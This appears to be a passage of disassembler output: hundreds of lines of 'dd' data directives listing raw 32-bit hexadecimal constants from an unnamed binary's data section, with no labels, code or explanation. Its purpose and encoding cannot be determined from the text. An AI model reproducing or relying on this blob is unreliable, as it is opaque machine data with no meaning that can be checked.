		dd 9B81867h, 0D16610FAh, 20081F18h, 0DA37225Ah,	16863044h
		dd 0B6FA2010h, 9401A31h, 2898C8CFh, 0BBBAF853h,	3D4D509Ah
		dd 1BEF1014h, 32196210h, 606F09D0h, 417B7A54h, 0C184E3E9h
		dd 88FF901Ch, 13F4FC18h, 39641FF6h, 941A08E2h, 0EDE25C63h
		dd 107AA840h, 0AD40389Ah, 0AB98311Ah, 25EE5330h, 0D330277Ch
		dd 0D169E801h, 98602BA9h, 4910B23Fh, 182C68B3h,	20842458h
		dd 771A1980h, 24E2106Bh, 6840F65Ch, 336740B2h, 813C0188h
		dd 394811A7h, 53B1101h,	113F5022h, 3D08928Ah, 15595404h
		dd 4DD2121Fh, 0F1083150h, 0BC502498h, 80938088h, 0BB819436h
		dd 0C7F14821h, 6DA088Ah, 44263ECCh, 0AF4E8C54h,	3C904310h
		dd 0CC7B5A20h, 1820D2D8h, 0E8840492h, 7AE48F50h, 0DF40F444h
		dd 0B2091D08h, 0FA04C418h, 2480A8CAh, 0FB091CB3h, 9A0E6D80h
		dd 9FDF041Ch, 0C1EA1956h, 37CDBA58h, 2FEC180h, 0D851575Fh
		dd 0BA01F10Dh, 0E64864E9h, 0F04044B2h, 7CC84DFAh, 0A98EFBF0h
		dd 0FEFAC820h, 7A50C4F6h, 1D1C9FCDh, 264B8B15h,	624C24FFh
		dd 0B7BE8CD1h, 45E4096h, 0C0961A14h, 0D4E1FA7Ch, 7239C8A0h
		dd 0A2DD58C9h, 96C1680h, 0E91A7C22h, 36F42848h,	884208C8h
		dd 6912394Fh, 329A2C0Eh, 30591C0Eh, 8A6B918h, 9D402B19h
		dd 98E78323h, 8E885906h, 8876260h, 5A01A73Ah, 909894F7h
		dd 97DA0831h, 0B138A166h, 70191808h, 0BB387842h, 40594B00h
		dd 0C99A371Ch, 675AE81Dh, 0C88A097Ah, 831EC00Fh, 0E11FE4FAh
		dd 1088331Ah, 603651BAh, 0E8FA3030h, 72B81A08h,	0ACA821F9h
		dd 71199B08h, 8BE3930h,	10840619h, 389A0049h, 3A227440h
		dd 5A1841EBh, 426E09AFh, 8CD471F9h, 1170FA08h, 0E509CD69h
		dd 54C42038h, 996210CEh, 1F014A29h, 85BAF03Eh, 0C0103A63h
		dd 3808303Ch, 3DE45A10h, 3B3008C6h, 5B413E28h, 80C3DA18h
		dd 58623F9Ah, 38F6150h,	20188D88h, 693090D6h, 0B380C0E2h
		dd 279A2368h, 3A18AC7Ch, 8118DB20h, 0FA48DE45h,	46632940h
		dd 182F6710h, 102DE648h, 0E0802C94h, 1D38C62Eh,	15504130h
		dd 0FA1F99A8h, 1543A36h, 0F07D009Ch, 6628442Ch,	8D970076h
		dd 0CB0CF8C2h, 0A300B6C5h, 6D6411B4h, 10369A4Bh, 203EEC7Ah
		dd 4988F501h, 1278D5FAh, 0CD6510F3h, 630D10A7h,	855DA1Ah
		dd 0A00F0842h, 193F8C08h, 7D083FD2h, 0EC2158BFh, 0C1C3E4E3h
		dd 2D03B525h, 88FA510Ch, 0DEF2D86Eh, 0B8D13B58h, 0D0FF34D8h
		dd 10E028C0h, 5D612637h, 69C5CDF1h, 0BD3C8081h,	24AD394Bh
		dd 1B662670h, 376099F0h
		dd 43B0CF7Ah, 70028E45h, 0DA237715h, 7990ADB4h,	3407B41Bh
		dd 3882F743h, 6739ED06h, 987E2878h, 8B943394h, 78857F70h
		dd 0B1BDEB4h, 0DBC16945h, 0DA481C46h, 0C0A42BC0h, 0F259220h
		dd 0AEAD01FBh, 825A388Ch, 0D1634B41h, 241F68C0h, 98D8EA18h
		dd 220F09A0h, 236718C6h, 18AB6F30h, 4630840Dh, 1A1018A0h
		dd 4A2E73CCh, 10DA06AEh, 19200857h, 8420F33Eh, 0B086689Ah
		dd 98A0D8D4h, 46BC5E10h, 0B8BB4D0Ah, 0B45738D0h, 5C0DF1C0h
		dd 6D80B442h, 39E8A067h, 9AE4A17Fh, 6EB041A3h, 0EABFE26Fh
		dd 5F0D03D4h, 27D94BB4h, 443AE814h, 9E5A18D4h, 69B29A08h
		dd 3822D840h, 7A02CF3Ah, 0EEBA02CBh, 5F7B4469h,	1A1871D0h
		dd 2DB98A81h, 0D6F9819Bh, 12194C40h, 0BC782064h, 988498C5h
		dd 1C8C9C91h, 18920890h, 0DA1830BAh, 617A80DEh,	0F69AB8C6h
		dd 73BA2418h, 251A0964h, 936BC423h, 4B46C019h, 0CC5F7B10h
		dd 0F6DA8101h, 20120631h, 0A0CC48A0h, 61790999h, 0F9D9B8B4h
		dd 81B9F0BCh, 521910C6h, 0C66CF620h, 20F85908h,	31EA3920h
		dd 7908ED99h, 0D441BCF5h, 0C89298DCh, 623A0D40h, 169A0813h
		dd 2227A02h, 0BA020FDAh, 81A0207h, 90E78809h, 6478B990h
		dd 975751B3h, 3A185CF8h, 581E2333h, 0B204C466h,	105F0F1Ah
		dd 58495732h, 7493CA25h, 0C8413ED6h, 99CC0340h,	0C6EC09FFh
		dd 49D1DA18h, 886A7944h, 70811B24h, 0E1330213h,	2A17F126h
		dd 40884421h, 89549996h, 8E89A198h, 1AEB901h, 20243B19h
		dd 30F1CA3Dh, 2B2A3CB8h, 512F45C0h, 53289930h, 0B11094E0h
		dd 0E1101FD9h, 1D32101Eh, 0D840CC3Eh, 0A74A02E9h, 1E484D9Ch
		dd 527C2055h, 419F6281h, 617C206Fh, 811DFD80h, 69C5343h
		dd 0DA3918C4h, 495892FFh, 0F83274F7h, 0BCA4EA81h, 9FF0487Eh
		dd 9C420EBh, 0BA03E8DAh, 2810201Eh, 0AA2221B7h,	89B3B644h
		dd 0ACCC52ABh, 0A8694E26h, 80143A30h, 74BAEE9Ah, 8D50C269h
		dd 78F16038h, 206AA19Fh, 7079FE64h, 62906B4Fh, 468DA09h
		dd 0D51A45BAh, 201F9044h, 7141230Ch, 0B991A189h, 0F9913739h
		dd 0A8D4BF48h, 0C11F40CEh, 99D9C8A9h, 4DD1DB31h, 106EDC53h
		dd 15477A08h, 3D804DAh,	25EEB8B4h, 5080F7Ch, 0E506B9F1h
		dd 0A5301086h, 985087Bh, 0C5DA0E5Ah, 6583590Ah,	5C02DFFh
		dd 0A5F85D4Dh, 3E27F720h, 4510282Bh, 0AFC50712h, 7380EE9Bh
		dd 0D3E48Bh, 0A02E01C4h, 2AB0DD63h, 6C0064F6h, 1BAC7D40h
		dd 0CDBEBA0Ah, 0B1681780h, 0AB054038h, 47ED000Fh, 0ADF1940Ah
		dd 16AA191Bh, 0FF11D0BAh, 9A24C5A0h, 0C699FD80h, 8987FC8h
		dd 8810B86Fh, 80A50CDBh, 0FE9C568h, 6D39CB02h, 4A02FDE0h
		dd 0F94503A6h, 7AC5A80Ah, 9F1B8066h, 2C48A110h,	0C03D85F0h
		dd 0DB123F09h, 0B36DEBC5h, 34F271D0h, 688F030Ah, 0EA848C47h
		dd 8E00BB17h, 3385EF0Ch, 0C57E1D74h, 45182078h,	9C90E8BCh
		dd 0F765F809h, 0F3250886h, 0B8612008h, 0DD2C538h, 0A73108Fh
		dd 60070580h, 0CC28E5DAh, 5462E85Ch, 8FB42508h,	5EAD04ECh
		dd 471FB04h, 816E55h, 289B70C2h, 0D1E308FFh, 797B1120h
		dd 0C530C385h, 4020729Eh, 40BEF85Eh, 74662973h,	0E820D338h
		dd 0C510C315h, 20105835h, 0AA315A14h, 90868508h, 65104B11h
		dd 0B0A50844h, 8CD185Bh, 3D644145h, 3C9F75B8h, 4AF90F02h
		dd 0E880FA31h, 0EF21D48Ah, 2950E514h, 28DE1888h, 0C6FB5E58h
		dd 7046EB80h, 0E2F43451h, 21404C45h, 51F07F4Eh,	0E802E062h
		dd 0B5B88222h, 2B18032Eh, 0FD1A6018h, 18044E10h, 68E305DBh
		dd 45806FC5h, 0E04C9377h, 0D839E943h, 0CA687961h, 0FC421FC4h
		dd 82304F74h, 3B6C4DA2h, 0BF6A80A3h, 28193924h,	0F87CA50Ch
		dd 0A0A8E145h, 10FC6624h, 653008F4h, 0BEE52083h, 25DB0D15h
		dd 0A28479Ch, 0F64780BCh, 923C5A36h, 71128F8h, 6D4C288Ch
		dd 6F5528DCh, 0EA0480B0h, 0DE78CC73h, 2F31C508h, 55808074h
		dd 5A723088h, 8A8C414h,	0C6037E5h, 0F905F98h, 0E15A0DFh
		dd 9A4AF0D8h, 8896541Ah, 454F24AAh, 5B8C0CB8h, 5D63CD50h
		dd 3076C008h, 0C518A880h, 0DB780518h, 88C80D32h, 0CD8BE07h
		dd 0E23B0D58h, 61284A69h, 0AA63B826h, 189F8560h, 60BD4508h
		dd 849AA025h, 5E88C61h,	30274F8h, 0A04F0BEh, 0F772F139h
		dd 89EEA02h, 6B5C6F02h,	85600AE4h, 0F0D89AD8h, 0CC3095D5h
		dd 48AB134h, 6D98007h, 0BC332898h, 126EA85Eh, 48766558h
		dd 50C03CCh, 0D32510D8h, 0C42411B9h, 53B2F1F0h,	78106C49h
		dd 0CED80644h, 90F4A570h, 903C519h, 77FC24AFh, 9AF2D4A8h
		dd 771CC0AFh, 3BC03AC4h, 0A1C9891h, 0BB2DAF01h,	0C7ACD7A8h
		dd 0B1045612h, 3DA6A44h, 242E7705h, 0F8800AF0h,	0FC11BDCAh
		dd 97107CBAh, 0D12B3209h, 4794637Dh, 14C194E8h,	84A31683h
		dd 0BC4AA49h, 4979FCC2h, 489E191Ch, 0BBBC2605h,	9120C4CDh
		dd 58B2E52Ch, 2508BF98h, 305663F4h, 8105842h, 0A819593Eh
		dd 270D2049h, 0C10FC16Ch, 9189F15Eh, 0C02974Ah,	5848AE45h
		dd 88CA2804h, 0C0FBB00Dh, 0A8ACCAB3h, 0B0E5EAD0h, 0AF06E658h
		dd 87A181ACh, 17F142Dh,	8857178Ah, 9FBA40Ah, 7B08035Ah
		dd 0A4B3822h, 0EB27FC02h, 85081574h, 6CF08010h,	61449567h
		dd 0B81858CAh, 80A92514h, 0C5064074h, 0D4C01047h, 7D781F95h
		dd 0B28A6A80h, 0E8395470h, 2B70988Ch, 0E0881045h, 268C0F41h
		dd 140A49C5h, 9AC5D4D1h, 9506885Eh, 397E9842h, 6F28AA19h
		dd 0AC27E278h, 9926E8C1h, 2E0022F9h, 85131445h,	5206542Ah
		dd 39FC9F1Dh, 64FFEA1Bh, 4CDFA4A8h, 5CA4CF06h, 8A31A92Bh
		dd 445386Bh, 87DF85Fh, 7E59DF93h, 0C5386A98h, 8370ADD6h
		dd 92170AE7h, 36CA7110h, 54D78515h, 612479B1h, 0B01C715Fh
		dd 0A825386Eh, 354AD9Ch, 52F080A6h, 0E083AED2h,	0E025589Dh
		dd 9AC00247h, 0C58B49Ch, 29E86D87h, 0BB31AA41h,	5888E866h
		dd 0CC6C2054h, 7E543C6Fh, 0B84A41E2h, 6CFDC0EBh, 0E7083B78h
		dd 0CF1F848h, 0E5B0D3EAh, 0F13CD749h, 48C14D99h, 193439A6h
		dd 30D63857h, 8033254Ch, 0A40E1063h, 0C3139A05h, 87C953Ch
		dd 0A0489032h, 99850109h, 30904397h, 0FCA587AFh, 18200510h
		dd 98413E9Ah, 2074651Ah, 8124C43h, 47CDCE5h, 0EEF71BE1h
		dd 0CBC7A9B1h, 88050882h, 59080CE8h, 0C6286180h, 202798A8h
		dd 1029D031h, 0C890624Ch, 0F1C51B1Ch, 0E083E2B8h, 98B5A5A0h
		dd 4D8532B8h, 58580518h, 0B1C453E8h, 0F70D9B28h, 8C3CE1A8h
		dd 98D45B8h, 0EC5EF9DFh, 0D271581Dh, 0CA4845DAh, 0DC30D265h
		dd 0DB04ECBEh, 2BE6826Bh, 4C6A0881h, 5FD10501h,	88D604ECh
		dd 6488050Fh, 91689AB5h, 0EC5F51A8h, 39C2E277h,	1A2B70AAh
		dd 65E8701Eh, 39ECB331h, 0EC64924Ah, 8170ADE0h,	8FF579B6h
		dd 4482042Fh, 1180C940h, 92D6F070h, 0F313C38h, 9D28C509h
		dd 7CE02405h, 24111080h, 8A3C99A7h, 45584133h, 0D5A5C812h
		dd 0EAE387Ch, 2BF13329h, 986A33B0h, 64A1D6A5h, 0A0E2093Ah
		dd 93D5D0h, 8AF03BE0h, 0CA91C52Dh, 468C7CD3h, 33F53C09h
		dd 3F60A5F3h, 291A6491h, 6C53E865h, 281DE4D7h, 6795E8B8h
		dd 4826A82Ch, 4B11E33Dh, 784010F7h, 4A2510F9h, 5082F31h
		dd 53118C28h, 484C4848h, 0A114CCA3h, 0F26B4B4h,	0FAB3F8F0h
		dd 0B1462D31h, 45033E0Ah, 0DA504ACh, 0DF19C0B0h, 7C021080h
		dd 8870566Eh, 2A65164Dh, 0CB1E0608h, 126948E2h,	492B1FAAh
		dd 140814D8h, 7D0C54C4h
		dd 411A97D2h, 0A521404Ah, 0C1C86957h, 369A6F82h, 9FE4EA13h
		dd 1C403840h, 50222634h, 56A588E8h, 74C17063h, 174DEAFBh
		dd 0D8A87E8Eh, 0C508A163h, 3AE87445h, 567C150Eh, 87C07838h
		dd 0FD6C6637h, 0B4DACA80h, 0CC931520h, 6E7C382Bh, 0CCEEB581h
		dd 0F26A03F1h, 0B60863FDh, 30852008h, 4E25A544h, 0EF500062h
		dd 7245DB04h, 33706666h, 9C6D5709h, 181117DCh, 600A71DAh
		dd 966CFB40h, 84C2F830h, 0AAB81854h, 38CC2CF4h,	662AA973h
		dd 0B1B598FEh, 33C5CD40h, 0A9A80F11h, 67E542AFh, 0B41EA8BEh
		dd 69F086F4h, 0CCFFD64Ah, 0A5A842D8h, 0C5083D63h, 6470782Eh
		dd 0C14769B6h, 8A172514h, 0BC6CE570h, 31D9C0F8h, 0EA69E2F5h
		dd 0A6BC5211h, 18760503h, 50992560h, 909AAB85h,	0F100B48h
		dd 8610D965h, 19083805h, 10127025h, 6C09955Fh, 0A78CF0C4h
		dd 815163D4h, 7058738Ah, 0BE9444D8h, 0A81868DDh, 0CFE08550h
		dd 10906568h, 62786BC5h, 0A2E5086Eh, 5F5BE869h,	379C04E4h
		dd 18562276h, 3A5D8C8h,	0AB2508C6h, 8A06249h, 8A0F3F45h
		dd 0ADF8DC5Eh, 0D669223Ah, 9845CA31h, 0C45F5F25h, 82D27A02h
		dd 8049F52Dh, 0F398CD7h, 0A0BC8013h, 0AF708584h, 0EBDF83A8h
		dd 4910F6EFh, 4515C50Ah, 0D0F08870h, 95204946h,	7AA2629h
		dd 6B4506E4h, 0A24C7816h, 70A51104h, 2BFF75F0h,	5C122724h
		dd 18F6D888h, 0BFC54869h, 42D81865h, 1143887Ch,	181432B7h
		dd 65907DEAh, 8380AF64h, 0C799F7FCh, 48A8119h, 6C142538h
		dd 0EA17D580h, 0FC23D7BCh, 0A5B0156Dh, 0D0B0785Fh, 4A62F2B9h
		dd 30ECAA9h, 40155FE5h,	0B3746445h, 0EEAFE19Ch,	506A4C74h
		dd 4BA590C1h, 4B2078B9h, 59AEF90Ah, 8198F4F4h, 0CEF89EE9h
		dd 0F0B9AA08h, 369852BDh, 0D0E1805Bh, 9C51030Eh, 0C99549AAh
		dd 0BCF38033h, 0F3C633F0h, 40D24A80h, 7CAD88FBh, 48CECA83h
		dd 0EA390227h, 5DA4E29h, 478B7C28h, 0C5A4896Bh,	0E7F30648h
		dd 8A12415Eh, 100962F9h, 3ABC41B1h, 8904785Bh, 5EEC10D0h
		dd 1D41E419h, 9492E501h, 91287709h, 9449B084h, 511A644Eh
		dd 7B64B4CAh, 5B8E84AFh, 0F16E046Ah, 5E79921Dh,	9B824F4h
		dd 43EBCC5h, 0D2500704h, 5B5FF71Fh, 92EC3813h, 2473BDB8h
		dd 143620CFh, 81ADF43Eh, 1EFC64C6h, 0B41240D2h,	343B24DEh
		dd 5FF0608Ch, 0FF689611h, 6E160470h, 0BFC024C7h, 45A7D5h
		dd 5C0702CDh, 0E067D319h, 498AE400h, 0C9BE8FD6h, 70AE7C96h
		dd 0F1B27A4Ah, 34454980h, 0D149311Ch, 0EC791507h, 59F040B6h
		dd 48CAA918h, 7C0FC5BCh, 3661B75Ch, 87C36FC2h, 89CD5489h
		dd 0FC944C90h, 5E401473h, 0AD00AA9Dh, 9666C565h, 330013E4h
		dd 148E715h, 602B1EB4h,	0F657B802h, 72037DA9h, 38886C43h
		dd 0F8D2E0F7h, 7951E433h, 493000CFh, 8CC84DCBh,	220C908h
		dd 0E08200C6h, 812A3557h, 24032E0Eh, 5ECF7077h,	20D915B6h
		dd 0AF0094A0h, 67994ED2h, 401DDB8h, 0ADEBF8CBh,	2840C8E3h
		dd 1DDBA447h, 0C0D8D6F5h, 0E727D4E1h, 0C2065D4Fh, 0C8DEC987h
		dd 89C30028h, 1D13EF03h, 1000C6A5h, 0F52008EDh,	953B8B0Ah
		dd 0AB331281h, 8089BFB4h, 2BF15BAEh, 8636CBh, 0C0920A16h
		dd 0FC279846h, 830EC970h, 0A9B250h, 2FDB902Eh, 30A0582Dh
		dd 611C2503h, 8680AF5Ch, 1BE016AAh, 2DEB0309h, 0A69D00F3h
		dd 3227FACh, 2BBAE6F7h,	6FB8D08Fh, 4750A93Eh, 0A260F88Eh
		dd 79998E38h, 0B2CC00DAh, 9D52E751h, 48003B97h,	0A86A844Eh
		dd 60F1EB87h, 0D4F83130h, 451FE832h, 1100424Eh,	1F988AFAh
		dd 971600A3h, 7B95FD18h, 63E9CE5h, 38838089h, 0C527D0E8h
		dd 0CC120353h, 2EC7E3E4h, 0FDB95100h, 0FBA31BFFh, 7F9F00A2h
		dd 2AD71174h, 9B00145Ah, 0F6E6E4E2h, 0EE285E23h, 0EAE100BDh
		dd 99BA3EB9h, 0EB036EC0h, 0DDCA7A39h, 0D4201D2Fh, 5D98402Ah
		dd 311F642Ch, 0B0A4300h, 0B3877CFFh, 637A05FAh,	0DAE506h
		dd 0FBFC93CAh, 0C60059E6h, 0B3759E49h, 3E8A25FEh, 8301D5A9h
		dd 0E4CB1F27h, 0BEA3C51Eh, 847CAAB9h, 80A28A2Ah, 0FB002798h
		dd 0F4F74CF3h, 3C3BC6Bh, 461338B8h, 0B7E8CA2Fh,	0E03E947Bh
		dd 0A8A300BEh, 25F2E4Eh, 5EE93A76h, 3B014300h, 0C48B583Ah
		dd 1B6CEE03h, 0A16F45FDh, 2080F530h, 4655F39Ah,	7B005C8Dh
		dd 14C18331h, 9FCC0Ah, 0AE4C1A5Eh, 0E45AFF94h, 0A1A0180Ch
		dd 7C5B3807h, 79703CA2h, 5D7B9301h, 0D0800C5Fh,	20C047D0h
		dd 0F95CFC1Dh, 466500B2h, 95280424h, 130C5D36h,	49E3D201h
		dd 7D00002h, 2E4F8790h,	0E5FAF06Eh, 65E0991Ch, 4A6A8A06h
		dd 3A631C29h, 0E5BE4E41h, 0DCC60943h, 6B1081Bh,	42F39820h
		dd 6BCF070Ch, 0A11AB549h, 80388FF5h, 1F5331C8h,	3E4B57D3h
		dd 3A9F833Bh, 805A9FD6h, 1C63434Ah, 303D047Ch, 76440005h
		dd 0D76EA401h, 93F00F39h, 70E308AEh, 2CB0F3C8h,	180084ACh
		dd 32A15A02h, 1C64901Ch, 81ED5E2Fh, 0F02891D8h,	7EB0C704h
		dd 0CE7089B8h, 39F56204h, 887578Ch, 4D3CFC10h, 0ECDD00C6h
		dd 78B10D59h, 8203CBE3h, 0B0A556C8h, 0EC10F679h, 26050046h
		dd 0A324FCD7h, 7F010FA7h, 9A4D4384h, 2EE0D844h,	1EBEF2C7h
		dd 0C0391015h, 0DB544FB1h, 3C00FB12h, 0F16F1B0Ah, 0ABCEB3h
		dd 0F55D8BAEh, 43EB9610h, 0F9A31A00h, 6B28C888h, 0EE40030h
		dd 54A7F180h, 41008670h, 47A62CB7h, 0E97BD2h, 0D795AB06h
		dd 83389274h, 41C0464Eh, 0EB4FAFh, 1B3DAA2Fh, 0F5693911h
		dd 0B4810500h, 0DB0E0440h, 90143B8Dh, 3633FA00h, 0C9721B7h
		dd 2207C874h, 0A67978D7h, 0AD0B9200h, 98EC7Fh, 0D0DC8DB5h
		dd 0CBC5134Ch, 0D8B02600h, 0C024D12h, 0B96200BAh, 7FF7351Bh
		dd 9B7C6861h, 47B28B01h, 4FFFE220h, 390209Fh, 1954D809h
		dd 0C006F7C3h, 4CCC1F9Eh, 0DB4F0020h, 2F220840h, 5A00DA80h
		dd 11609CD1h, 7EC93710h, 0A1D500A7h, 8B50679Dh,	0B57B140Fh
		dd 3BD8A00h, 0A59E6D4Dh, 5FD4008Ch, 92F6E3ABh, 641994C4h
		dd 3A71AABCh, 604638D0h, 1BDA38B4h, 44152D49h, 198E657h
		dd 3E708F55h, 0B2F8DE2Bh, 587B97h, 9C2F909Fh, 1C1A5F1Fh
		dd 3E673Eh, 9BC1D1C4h, 7F08E6h,	0F0978464h, 0B70BDC14h
		dd 0EE992B00h, 0A6E155F8h, 9808007Eh, 36BA026h,	0A20C96E8h
		dd 98F65421h, 3D69395Fh, 97FB3C81h, 80F93449h, 0F00C1418h
		dd 7C8BCD28h, 834D035Ch, 0FF715913h, 0B6B770A8h, 5BA6A007h
		dd 4460E1DBh, 0D19EAEh,	0D7EE5D0Eh, 1E781D8Ah, 0A9F08203h
		dd 0D0A69484h, 60B706h,	5F3A5C56h, 0A7A4C436h, 0BD1F8101h
		dd 1346F8ADh, 1662F07Ah, 167B703Dh, 9D009145h, 3EF04FBDh
		dd 8F2300B0h, 2ABA263Dh, 46126987h, 54412B07h, 1EA14216h
		dd 0B9F3A840h, 939F0070h, 0D112076Fh, 43006CCBh, 0D50A97ACh
		dd 1E4737D3h, 7828989Fh, 0A4CDBC00h, 0D4F61BC9h, 873BE5E0h
		dd 10B480B7h, 0A5249447h, 63F10089h, 0B0CFD5B2h, 20904DCEh
		dd 3AD2AC00h, 2DE5EEAFh, 70B8FE25h, 422B0084h, 9C14E29Fh
		dd 78E297E1h, 12173507h, 0B9E02DCBh, 1527C7h, 30DE45B7h
		dd 0DA602085h, 0DAC39h,	0D04CBA59h, 0A5B8E3h, 0EEA10383h
		dd 93D499BEh, 6AAA4500h, 0A6539C91h, 6EC700BFh,	45A8364h
		dd 9A007989h, 0CB3EEDA4h, 24B3FC85h, 82347195h,	61C4402Fh
		dd 857B0048h, 0F4490C2Ah, 52639C00h, 0F5129F8Ch, 0E2B3EA82h
		dd 422005C3h, 0C0C0E209h, 78B9FB68h, 16714F07h,	8D001BA5h
		dd 2E2B7A8h, 9AB6FCC3h
		dd 0EA89697Dh, 1DF6F500h, 0C6002E9Eh, 5A4052CEh, 0B698D4h
		dd 5746FFF8h, 7A4864A1h, 0D562BCECh, 480D4768h,	307554B0h
		dd 0B3B81F57h, 0F106BA7Ch, 0BE409A2h, 0F2A60490h, 0C0F8D5C3h
		dd 4E8740AFh, 93D21A00h, 6027D98Fh, 0E1A53941h,	0BB707480h
		dd 0F8BAD173h, 0CE2D5205h, 0E01C5D22h, 351810C0h, 3C1358E5h
		dd 0A00077F5h, 6FCDE28h, 1500E1CEh, 44F4353Bh, 0FD32DDDh
		dd 989A1714h, 0B929E4E0h, 160A41F9h, 600BE549h,	28D59340h
		dd 0C9E6E4h, 184FB96Fh,	0CB874291h, 5B02DC1Fh, 4F3D380Eh
		dd 2FD344F7h, 0B25210D0h, 909A0303h, 0FCE36A65h, 3E23DD80h
		dd 0ADF8620Dh, 0FBF8B860h, 22E4A893h, 8C5D00ACh, 816DF491h
		dd 8492A797h, 2F7E1509h, 49EC20BFh, 0D86A8Fh, 4527A110h
		dd 0E841963h, 42D058h, 66C697CAh, 0A7C928Bh, 0C3DC36D2h
		dd 15802D80h, 2A2B5D41h, 80E9EC3Eh, 0A69B10D4h,	1D22CD40h
		dd 0C01612DEh, 515036F5h, 0C21EAE62h, 0EA0296FEh, 8028946Ah
		dd 157DB3C7h, 884A1317h, 0D3C820BCh, 83300EE0h,	0FCECD173h
		dd 0C2360385h, 3F23B9F5h, 6AC61900h, 0AADB0D3Dh, 0EC6B008Fh
		dd 8DCFEDC9h, 33018594h, 76F132BCh, 30801721h, 0D9798A4Ah
		dd 0FB011A63h, 0E7EEFC1Bh, 94324203h, 5088D124h, 4F006067h
		dd 0C1F7261Ch, 24542870h, 80A072FAh, 0EE0B88F0h, 0CF7F6EA1h
		dd 25EA27h, 0E74FFD78h,	2FBD0EC8h, 0B4985E3h, 1A634B8h
		dd 6CBF58h, 266CF5C8h, 36D0D5h,	615B2248h, 4869F77h, 66444601h
		dd 4DCFFA0Ah, 8A9C60h, 3876BE9Ah, 0FD9E0171h, 0BC313A0Bh
		dd 13340172h, 7ECA0EAh,	472F0005h, 2B5285F6h, 440E0358h
		dd 40CD71C8h, 0D70AE1D3h, 60134898h, 0D806930h,	501AD3Dh
		dd 1210F49Eh, 9FEC2B1Fh, 0A727008Ch, 0D69BE60Ah, 6A387FBEh
		dd 0A3A500BFh, 61C85345h, 0F780F636h, 4F98434h,	2C1731C1h
		dd 0F8C8C05Eh, 91004BB1h, 62273BBBh, 73F660BFh,	586E7021h
		dd 7BA8C8DEh, 5F72E4E4h, 82306E00h, 0C27CF43Dh,	0F09E006Ah
		dd 84543A35h, 7A02A94Ch, 0F2F7EA7Bh, 6434C065h,	0C03C01FFh
		dd 7E3BA492h, 0CC27E6h,	0AE19E47Ah, 3629B9h, 0D8CCFE85h
		dd 0AFDB2598h, 4900EC99h, 0A4FA817Ch, 640F0285h, 5DB510F6h
		dd 0ABF84868h, 592CB400h, 0A7F7BF67h, 0CD700A6h, 8A1A7FB2h
		dd 0AA01FA5Fh, 0FE6EE151h, 0DAF481BAh, 3D45FE79h, 0B980F5E4h
		dd 0C9671A3Dh, 0C041310h, 7034B380h, 0BF2C3490h, 95D7DD0h
		dd 0DA63553Dh, 0BC59E820h, 60E8FBD7h, 8FD0A55Dh, 0C4CBE126h
		dd 17F73688h, 20146FE8h, 0B35D5830h, 5EAE181Fh,	9206B149h
		dd 1F60C040h, 0DF7501B0h, 9C4FDA9h, 225A000Fh, 783FE2D0h
		dd 2C614DAFh, 4D854ECBh, 9BC800BAh, 6902423Dh, 0B6A8FB00h
		dd 0D9CF6C74h, 4CE4F41Ah, 8A000D28h, 0CD4C228Eh, 50B189E6h
		dd 0AEFB6F05h, 85A56400h, 120D709h, 14B85237h, 404BA0ECh
		dd 5CDD13C8h, 20B880FFh, 1415D0E1h, 0B2360097h,	4712DB91h
		dd 6801FFC2h, 482350A7h, 0B7D9336Bh, 80351428h,	5F308031h
		dd 0DEFCDFD0h, 0FC4EA600h, 21C41D5Ch, 0CC5B0018h, 0C768A8A4h
		dd 4800B492h, 0D896F241h, 186AE1h, 0BCC26604h, 25EE940Ch
		dd 0AA170500h, 0F1F26083h, 0E0890F4Ah, 96200DC3h, 0C1A77F6Dh
		dd 2900E4Ch, 0F6B21BE1h, 64E2E0h, 9DFE92D0h, 0D8C30095h
		dd 5F27780Eh, 11047D1Dh, 266E370Fh, 0B005488Bh,	507B90EBh
		dd 2D019CA0h, 5DAB21B3h, 0CBE3FC46h, 0C86B861Ch, 30C056C0h
		dd 0EA07BFBh, 6C78F48Bh, 0D95BBB60h, 3F33280Dh,	9969DE55h
		dd 88644873h, 0B66505CAh, 0C567E9AAh, 80D460F0h, 6F048B0Bh
		dd 0CDBB4B18h, 65286480h, 8B71C2Ch, 0E0F38031h,	2976D11Dh
		dd 0EB346600h, 0DC7E1012h, 7405F27Dh, 0E3C4AB0Ch, 1EC00528h
		dd 816781B8h, 24CAF016h, 0CC007C30h, 0E9303509h, 281B1B4h
		dd 0A65E7614h, 7C805D1Fh, 3C5F46CEh, 0C402CA0Eh, 0ABD406Ch
		dd 0C22DAC2h, 11FB6E59h, 3099151h, 1CE3AB18h, 4DA075F4h
		dd 6C0140EAh, 0E98105D6h, 80FC280Bh, 0B44B0A92h, 43271EEFh
		dd 8456C0BBh, 82E21623h, 0F0A35E24h, 8903BD00h,	24DED955h
		dd 80C4E726h, 0B16D8F3Dh, 2F00A2F4h, 0EB05ABCFh, 0B5BD15h
		dd 1C7FD602h, 0F498F220h, 58C00E24h, 860D338Fh,	74C00227h
		dd 3D3B12B1h, 7AC47095h, 9D00D944h, 577E1387h, 2C0B6968h
		dd 387D24E4h, 6BFE6C00h, 0A05E4DD9h, 0AC1AA204h, 0C8817D84h
		dd 0DA404C24h, 4799AF2h, 2D0AE2A7h, 0F48B6Dh, 7F2B41C3h
		dd 139B8E01h, 1DB04B5Fh, 0E1DF80EEh, 886335D2h,	6973F700h
		dd 0D4BCF07Ah, 0E81000EDh, 94C73905h, 0ECB94CCAh, 0B7741980h
		dd 3D13E12Fh, 84C0690h,	0AF0E6C80h, 0FF009EB1h,	1857A88Bh
		dd 0B0E24F3Ah, 0ADC6005Ch, 825F0433h, 0B5006352h, 0B4496466h
		dd 15E720h, 75A0B23h, 0D574958Ah, 8BAF7200h, 0A5CA88DFh
		dd 6038092Ch, 4B8044F8h, 0B490915Eh, 0FC46DE00h, 3334BF95h
		dd 0DA41097Ch, 78070C72h, 78072F0Bh, 20ED2025h,	0BF139417h
		dd 0D8073C5Bh, 0EF9EE66Ch, 16AAA04Dh, 0BCC9866h, 0DB92B1CFh
		dd 5A7488A0h, 0A200CD09h, 1996F7Bh, 0BAB9D26Bh,	73600084h
		dd 0F3ECF03Ah, 891840C7h, 0B0D6C399h, 0B49300BDh, 0AF47BF30h
		dd 3F009A9Eh, 998A7B6h,	0AC7CB11h, 0E1C403BBh, 0BA27809Ch
		dd 0E4971636h, 8B01F6B0h, 6117887Fh, 40C2F23Bh,	255B630h
		dd 3EC1AC97h, 0E80930h,	1F0F49E8h, 60CF105Fh, 82319EFCh
		dd 170C13CBh, 16280ED5h, 0D859F8E0h, 0BF076D23h, 0AD98AB02h
		dd 0E44DE86Ch, 531F00F5h, 709DA255h, 0C600CE7Fh, 0C935499h
